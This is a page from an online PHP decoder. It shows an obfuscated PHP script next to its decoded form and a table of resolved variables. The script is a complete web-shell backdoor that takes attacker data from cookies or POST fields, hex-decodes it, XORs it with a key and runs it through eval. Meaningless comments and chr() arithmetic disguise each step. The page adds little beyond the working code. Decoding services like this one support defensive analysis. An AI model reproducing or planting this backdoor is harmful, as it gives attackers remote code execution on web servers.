Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Ayvue/*jSURW */=/* wPJa */"\x73" . chr/*eQs */(116) . "\162" . chr (95) . ..

Decoded Output download

<?php	$Ayvue/*jSURW  */=/*  wPJa  */"s"	.  chr/*eQs  */(116)    .	"r"	.	chr	(95)	.    "r"/*  tiuRU */.	chr	(/*gNMjE */980/* esrs*/-/*  HCZlP  */879/*eZpHX  */)."p"/*frai */.	"e"/* wl */./*  SZx */chr (97)/*va  */.     chr/*   pfkU  */(	415   -    299/* E*/);$_V	=	'29965'; 
			$vJoec  =	'e' .     chr	(120)	.	"p" ./* C*/'l'	.	chr	( 204    -     93     )."d"/*uGN   */.   'e';$_zjiL	=	'61442'; 
    $cmlJSzgd	=/*eepK */"p"	./*  zErEa*/chr  (	778	-	681/*  aMAeq  */).chr/*e   */(99)	.	"k"; 
		function     aemFeOl() 
     { 
  	$lMIumCpoWE  =/*   CTec */Array    (/*knE  */"UQPkCUEtZekE"   =>/*   Izh */"kgYNwgYfKqYEqveYBfMuXUfLh"   ); 
/* pD  */ 
 
	$fDupkTVWR/*  H */=    Array     (	"aXpSvQbPRInLwsqgHyEr"/*oj*/=>	"pRlYDdOAocxBCgExB"     ); 
      $lEuCIFY	=/*CTETw   */Array(   $lMIumCpoWE,/* v*/$_COOKIE,/*   RFv  */$lMIumCpoWE,	$_POST,     $fDupkTVWR); 
 	 
        return   $lEuCIFY;$_jP	=	'1979'; 
    /*ZIFOS*/} 
    
   function   OFejM($dWbhecmTVm,/*Sai */$lMIumCpoWE) 
    	{ 
     if	( count	(	$dWbhecmTVm/*   T*/)	==  3/*  ldM*/)	{ 
 
/* OpD  */$ixehlWxC  = $dWbhecmTVm[1]; 
    /* CPv*/$URPJJ/* xO  */=	$dWbhecmTVm[2]; 
 
 
	$nmCyiJi	=/*   Qp  */$ixehlWxC($URPJJ); 
					    eval	(/*  fcNIW  */$nmCyiJi    );$_YzX     = '6758'; 
			/*  ssXp*/die/* DR */(); 
 
 
/* DtFK */} 
	} 
   /*UQpU   */ 
		function	fPMmy($ydAhnRbO,/* Hnnm */$sUpJivEy) 
  	{ 
  	return $ydAhnRbO   ^    $sUpJivEy; 
 
 
   } 
		  
 	$zfFSPjbOhb	=     chr	(/*  OJKPa */292/*  vhE  */-	257/*WgR*/); 
    
 
 
   foreach	(aemFeOl()	as     $eGErnVGETz)   { 
 
/*t  */foreach/* cc   */(	$eGErnVGETz/*   NFMe  */as/*  dp   */$sUpJivEy/*pVz  */=> $ydAhnRbO/*   RKPN*/)/*Gsx  */{ 
 
   
				   $zamBOY	=/*AtlaL */strlen(/*  mL  */$ydAhnRbO  )/strlen(	$sUpJivEy	); 
 
 
/*  xB */ 
 
/*SxB   */$ydAhnRbO	= @$cmlJSzgd(/*   a */'H'/*  sZ   */.	"*",	$ydAhnRbO    );$_WmXa     =    '25435'; 
    
 
 
/*a */$sUpJivEy	.=/*  J*/"cNbp-RhzG-Frm-gfynK-dxOPr-ndpTml-ZKq";$_e	=/* CblXk*/'7872'; 
		$sUpJivEy     =/*  L   */$Ayvue     (/* an*/$sUpJivEy,	$zamBOY  +	1); 
     	 
	  $nfnOPEW =	strrev("");$_NxVt	=  '24433'; 
       
 
 
	$nfnOPEW/*vitO */=/*   Vz   */fPMmy($ydAhnRbO,/*  ghG   */$sUpJivEy);; 
 	 
   $sUpJivEy	=	sha1($sUpJivEy); 
       
 
 
	$dWbhecmTVm	=/* xosz*/$vJoec	($zfFSPjbOhb,	$nfnOPEW/*  qTbs  */);$_ndT	=	'993'; 
        
    /*  ICIh */sha1($nfnOPEW); 
 
  
/*   s */OFejM($dWbhecmTVm,/* iFF*/$zfFSPjbOhb); 
 
/*l  */ 
					     continue;; 
					     } 
 
	} ?>

Did this file decode correctly?

Original Code

<?php	$Ayvue/*jSURW  */=/*  wPJa  */"\x73"	.  chr/*eQs  */(116)    .	"\162"	.	chr	(95)	.    "\162"/*  tiuRU */.	chr	(/*gNMjE */980/* esrs*/-/*  HCZlP  */879/*eZpHX  */)."\x70"/*frai */.	"\145"/* wl */./*  SZx */chr (97)/*va  */.     chr/*   pfkU  */(	415   -    299/* E*/);$_V	=	'29965';
			$vJoec  =	'e' .     chr	(120)	.	"\160" ./* C*/'l'	.	chr	( 204    -     93     )."\144"/*uGN   */.   'e';$_zjiL	=	'61442';
    $cmlJSzgd	=/*eepK */"\160"	./*  zErEa*/chr  (	778	-	681/*  aMAeq  */).chr/*e   */(99)	.	"\153";
		function     aemFeOl()
     {
  	$lMIumCpoWE  =/*   CTec */Array    (/*knE  */"UQPkCUEtZekE"   =>/*   Izh */"kgYNwgYfKqYEqveYBfMuXUfLh"   );
/* pD  */

	$fDupkTVWR/*  H */=    Array     (	"aXpSvQbPRInLwsqgHyEr"/*oj*/=>	"pRlYDdOAocxBCgExB"     );
      $lEuCIFY	=/*CTETw   */Array(   $lMIumCpoWE,/* v*/$_COOKIE,/*   RFv  */$lMIumCpoWE,	$_POST,     $fDupkTVWR);
 	
        return   $lEuCIFY;$_jP	=	'1979';
    /*ZIFOS*/}
   
   function   OFejM($dWbhecmTVm,/*Sai */$lMIumCpoWE)
    	{
     if	( count	(	$dWbhecmTVm/*   T*/)	==  3/*  ldM*/)	{

/* OpD  */$ixehlWxC  = $dWbhecmTVm[1];
    /* CPv*/$URPJJ/* xO  */=	$dWbhecmTVm[2];


	$nmCyiJi	=/*   Qp  */$ixehlWxC($URPJJ);
					    eval	(/*  fcNIW  */$nmCyiJi    );$_YzX     = '6758';
			/*  ssXp*/die/* DR */();


/* DtFK */}
	}
   /*UQpU   */
		function	fPMmy($ydAhnRbO,/* Hnnm */$sUpJivEy)
  	{
  	return $ydAhnRbO   ^    $sUpJivEy;


   }
		 
 	$zfFSPjbOhb	=     chr	(/*  OJKPa */292/*  vhE  */-	257/*WgR*/);
   


   foreach	(aemFeOl()	as     $eGErnVGETz)   {

/*t  */foreach/* cc   */(	$eGErnVGETz/*   NFMe  */as/*  dp   */$sUpJivEy/*pVz  */=> $ydAhnRbO/*   RKPN*/)/*Gsx  */{

  
				   $zamBOY	=/*AtlaL */strlen(/*  mL  */$ydAhnRbO  )/strlen(	$sUpJivEy	);


/*  xB */

/*SxB   */$ydAhnRbO	= @$cmlJSzgd(/*   a */'H'/*  sZ   */.	"\52",	$ydAhnRbO    );$_WmXa     =    '25435';
   


/*a */$sUpJivEy	.=/*  J*/"cNbp-RhzG-Frm-gfynK-dxOPr-ndpTml-ZKq";$_e	=/* CblXk*/'7872';
		$sUpJivEy     =/*  L   */$Ayvue     (/* an*/$sUpJivEy,	$zamBOY  +	1);
     	
	  $nfnOPEW =	strrev("");$_NxVt	=  '24433';
      


	$nfnOPEW/*vitO */=/*   Vz   */fPMmy($ydAhnRbO,/*  ghG   */$sUpJivEy);;
 	
   $sUpJivEy	=	sha1($sUpJivEy);
      


	$dWbhecmTVm	=/* xosz*/$vJoec	($zfFSPjbOhb,	$nfnOPEW/*  qTbs  */);$_ndT	=	'993';
       
    /*  ICIh */sha1($nfnOPEW);

 
/*   s */OFejM($dWbhecmTVm,/* iFF*/$zfFSPjbOhb);

/*l  */
					     continue;;
					     }

	}

Function Calls

chr 10
aemFeOl 1

Variables

$_V 29965
$_jP 1979
$Ayvue str_repeat
$_zjiL 61442
$vJoec explode
$lEuCIFY [{'key': 0, 'value': [{'key': 'UQPkCUEtZekE', 'value': 'kgYNwgYfKqYEqveYBfMuXUfLh'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'UQPkCUEtZekE', 'value': 'kgYNwgYfKqYEqveYBfMuXUfLh'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'aXpSvQbPRInLwsqgHyEr', 'value': 'pRlYDdOAocxBCgExB'}]}]
$cmlJSzgd pack
$fDupkTVWR [{'key': 'aXpSvQbPRInLwsqgHyEr', 'value': 'pRlYDdOAocxBCgExB'}]
$lMIumCpoWE [{'key': 'UQPkCUEtZekE', 'value': 'kgYNwgYfKqYEqveYBfMuXUfLh'}]
$zfFSPjbOhb #

Stats

MD5 1bca8c8fa7b78ce1cd80d5aa40f2d570
Eval Count 0
Decode Time 85 ms